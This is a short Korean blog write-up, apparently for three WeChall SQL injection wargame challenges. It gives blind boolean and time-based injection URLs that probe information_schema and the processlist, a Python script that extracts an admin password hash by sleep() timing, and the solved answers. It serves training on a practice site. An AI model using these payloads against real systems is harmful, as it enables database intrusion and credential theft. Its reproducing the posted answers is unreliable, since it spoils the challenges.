webhacking/sql, sql injection

WeChall Table Names, Table Names II, Order By Query

qkqhxla1 2015. 8. 15. 19:26

Table Names

database_tablename 형식이 답.


db = http://www.wechall.net/challenge/table_names/challenge.php?username=test' or if((select ascii(substr(database(),1,1))=32),1,'test')%23&password=test&login=login


table = http://www.wechall.net/challenge/table_names/challenge.php?username=test' or if((select ascii(substr(group_concat(table_name),1,1))=32 from information_schema.tables where table_schema=database()),1,'test')%23&password=test&login=login

두개 합쳐서 concat(database(),group_concat(table_name))~~이런식으로 한번에 뽑아낼수도 있을듯

답 : gizmore_tableu61_usertableus4


Table Names II

위에 문제처럼 db_table형식이 답인데 information_schema.tables를 입력해보면 막혀있다. database()도 막혀있다. 근데 쿼리문을 살펴보면 "SELECT * FROM {$secret['database']}.{$secret['table_name']} WHERE username='$username' AND password='$password'"; 요거다. 현재 실행되는 쿼리를 가져오면 db이름하고 table까지 한번에 가져올 수 있으므로 information_schema.processlist를 이용하자.


http://www.wechall.net/challenge/nurfed/more_table_names/challenge.php?username=test' or if((select ascii(substr(info,1,1))>32 from information_schema.processlist),1,'test')%23&password=test&login=login


이런식으로 한개씩 가져온다.

답 : nurfedtables37_userbobbytable7


Order By Query

들어가보면 ?by=1 이걸로 order by뒤에 숫자를 넣는데, 1,2 이런식으로 더 삽입할수 있다. 더 삽일할 공간에는 1,(sele~) 이런식으로 서브쿼리도 사용 가능하다.

http://www.wechall.net/challenge/order_by_query/index.php?by=4,if((select ascii(substr(password,1,1))>32 from users where username=0x41646d696e),sleep(1),2)

이런식으로 시간 기반 인젝션.... 

# -*- encoding: cp949 -*-
import urllib2,time

session = 'WC=8593302-13590-imVNIMquJXXozsej'
answer = ''
for i in range(1,50):
    for j in range(32,128):
        s = time.time()
        req = urllib2.Request('http://www.wechall.net/challenge/order_by_query/index.php?by=4,if((select%20ascii(substr(password,'+str(i)+',1))%3D'+str(j)+'%20from%20users%20where%20username=0x41646d696e),sleep(1),2)')
        req.add_header('cookie',session)
        page = urllib2.urlopen(req).read()
        gap = time.time() - s
        print i,j,gap,answer
        if gap > 8:
            answer += chr(j)
            break
print answer

너무 느림. 답 : 3C3CBEB0C8ADC66F2922C65E7784BE14